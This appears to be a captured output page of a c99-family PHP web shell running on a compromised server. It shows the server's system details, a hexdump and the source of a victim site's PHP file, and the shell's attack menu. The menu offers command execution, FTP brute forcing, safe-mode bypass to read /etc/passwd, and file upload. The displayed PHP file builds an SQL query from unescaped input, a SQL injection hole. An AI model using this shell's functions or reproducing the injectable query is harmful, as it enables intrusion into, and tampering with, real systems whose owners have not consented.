!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/thaimed/   drwxr-xr-x
Free 52.36 GB of 127.8 GB (40.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     EditTreat.php (610 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage_22222/thaimed/EditTreat.php
Size 610 B
MD5 df1ca26136aba680d7d265d567877a41
Owner/Group root/root
Perms-rw-r--r--
Create time 06/07/2011 01:44:26
Access time 30/07/2024 19:25:36
MODIFY time 21/08/2009 09:46:50

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
3C 3F 70 68 70 0D 0A 20 73 65 73 73 69 6F 6E 5F 73 74 61 72 74 28 29 3B
0D 0A 20 69 66 20 28 73 65 73 73 69 6F 6E 5F 69 73 5F 72 65 67 69 73 74
65 72 65 64 28 22 76 61 6C 69 64 5F 75 73 65 72 22 29 29 0D 0A 20 7B 0D
0A 69 6E 63 6C 75 64 65 28 22 2E 2E 2F 69 6E 63 6C 75 64 65 2F 46 75 6E
63 74 69 6F 6E 44 42 2E 70 68 70 22 29 3B 0D 0A 43 6F 6E 6E 65 63 74 44
42 28 29 3B 0D 0A 24 73 71 6C 20 3D 20 20 22 20 55 50 44 41 54 45 20 20
74 72 65 61 74 4D 65 64 5F 74 62 20 20 20 20 53 45 54 20 20 20 20 43 6F
64 65 5F 31 3D 27 24 43 6F 64 65 5F 31 27 2C 4E 61 6D 65 3D 27 24 4E 61
6D 65 27 2C 50 72 69 63 65 3D 27 24 50 72 69 63 65 27 2C 44 65 73 63 72
69 70 74 69 6F 6E 5F 31 3D 27 24 44 65 73 63 72 69 70 74 69 6F 6E 5F 31
27 2C 44 65 73 63 72 69 70 74 69 6F 6E 5F 32 3D 27 24 44 65 73 63 72 69
70 74 69 6F 6E 5F 32 27 2C 44 65 73 63 72 69 70 74 69 6F 6E 5F 33 3D 27
24 44 65 73 63 72 69 70 74 69 6F 6E 5F 33 27 20 20 57 48 45 52 45 20 20
54 65 61 63 68 5F 63 6F 64 65 20 3D 27 24 54 65 61 63 68 5F 63 6F 64 65
27 20 22 3B 0D 0A 24 72 65 73 75 6C 74 20 3D 20 6D 79 73 71 6C 5F 71 75
65 72 79 28 24 73 71 6C 29 20 6F 72 20 64 69 65 28 22 55 70 64 61 74 65
20 45 72 72 6F 72 20 24 73 71 6C 22 2E 6D 79 73 71 6C 5F 65 72 72 6F 72
28 29 29 3B 0D 0A 68 65 61 64 65 72 28 22 4C 6F 63 61 74 69 6F 6E 3A 54
72 65 61 74 70 72 69 63 65 4C 69 73 74 2E 70 68 70 22 29 3B 09 09 09 0D
0A 43 6C 6F 73 65 44 42 28 29 3B 0D 0A 3F 3E 0D 0A 3C 3F 70 68 70 20 0D
0A 09 7D 0D 0A 65 6C 73 65 0D 0A 7B 0D 0A 20 20 20 20 20 20 20 65 63 68
6F 22 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 5C 22 72 65 66
72 65 73 68 5C 22 20 63 6F 6E 74 65 6E 74 3D 5C 22 33 3B 55 52 4C 3D 2E
2E 2F 6C 6F 67 69 6E 2E 70 68 70 5C 22 3E 5C 6E 22 3B 0D 0A 20 20 20 20
20 20 20 65 63 68 6F 22 50 6C 65 61 73 65 20 4C 6F 67 69 6E 20 22 3B 0D
0A 7D 0D 0A 3F 3E 0D 0A 0D 0A
<?php   session_start();
   if (session_is_regist
ered("valid_user"))   { 
 include("../include/Fun
ctionDB.php");  ConnectD
B();  $sql =  " UPDATE  
treatMed_tb    SET    Co
de_1='$Code_1',Name='$Na
me',Price='$Price',Descr
iption_1='$Description_1
',Description_2='$Descri
ption_2',Description_3='
$Description_3'  WHERE  
Teach_code ='$Teach_code
' ";  $result = mysql_qu
ery($sql) or die("Update
 Error $sql".mysql_error
());  header("Location:T
reatpriceList.php");  
 CloseDB();  ?>  <?php  
  }  else  {         ech
o"<meta http-equiv=\"ref
resh\" content=\"3;URL=.
./login.php\">\n";      
   echo"Please Login "; 
 }  ?>    

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0083 ]--